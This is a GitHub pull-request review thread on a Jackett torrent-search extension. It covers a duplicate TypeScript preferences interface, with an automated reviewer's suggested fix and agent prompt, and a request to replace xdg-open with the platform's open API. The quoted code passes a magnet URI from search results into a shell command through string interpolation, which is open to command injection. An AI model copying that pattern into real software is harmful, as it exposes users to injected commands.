are two conflicting PreferenceValues interfaces; remove the duplicate definition
in extensions/jackett-search/src/types/torrent.ts (the one with fewer fields)
and ensure all usages/imports of PreferenceValues reference the single canonical
interface exported from types/preferences.ts; if any module currently imports
from torrent.ts, update those imports to point to types/preferences.ts (or
re-export PreferenceValues from torrent.ts after deletion) so consumers
consistently get the complete type including 'sort-by' and 'default-action'.

Comment on lines +32 to +38
export interface PreferenceValues {
'jackett-url': string;
'api-key': string;
'min-seeders': string;
'categories': string;
'trackers': string;
}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Remove duplicate PreferenceValues interface.

This interface is an incomplete duplicate of the one in preferences.ts. It's missing 'sort-by' and 'default-action' fields. Consumers importing from this file will get incorrect types. Remove this definition and have consumers import from ./preferences.

🔎 Suggested fix
-export interface PreferenceValues {
-  'jackett-url': string;
-  'api-key': string;
-  'min-seeders': string;
-  'categories': string;
-  'trackers': string;
-}

Ensure any imports of PreferenceValues reference ./types/preferences instead.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
export interface PreferenceValues {
'jackett-url': string;
'api-key': string;
'min-seeders': string;
'categories': string;
'trackers': string;
}
🤖 Prompt for AI Agents
In @extensions/jackett-search/src/types/torrent.ts around lines 32 - 38, Remove
the duplicate PreferenceValues interface declaration from this file (the
exported interface named PreferenceValues) and update any local imports that
referenced it to import the canonical type from the existing preferences.ts
(e.g., import { PreferenceValues } from './preferences' or './types/preferences'
as appropriate); ensure the canonical type includes 'sort-by' and
'default-action' so consumers get correct typings and run the project type-check
after changing imports.


const openMagnetLink = useCallback(async (magnetUri: string) => {
try {
await execAsync(`xdg-open "${magnetUri}"`);
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You should use open from @vicinae/api to open something in the default app for it

Copy link
Contributor

@aurelleb aurelleb left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@Tinkerbells great stuff but please change xdg-open for open unless there is a very good reason not to (in this case I can't see any)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants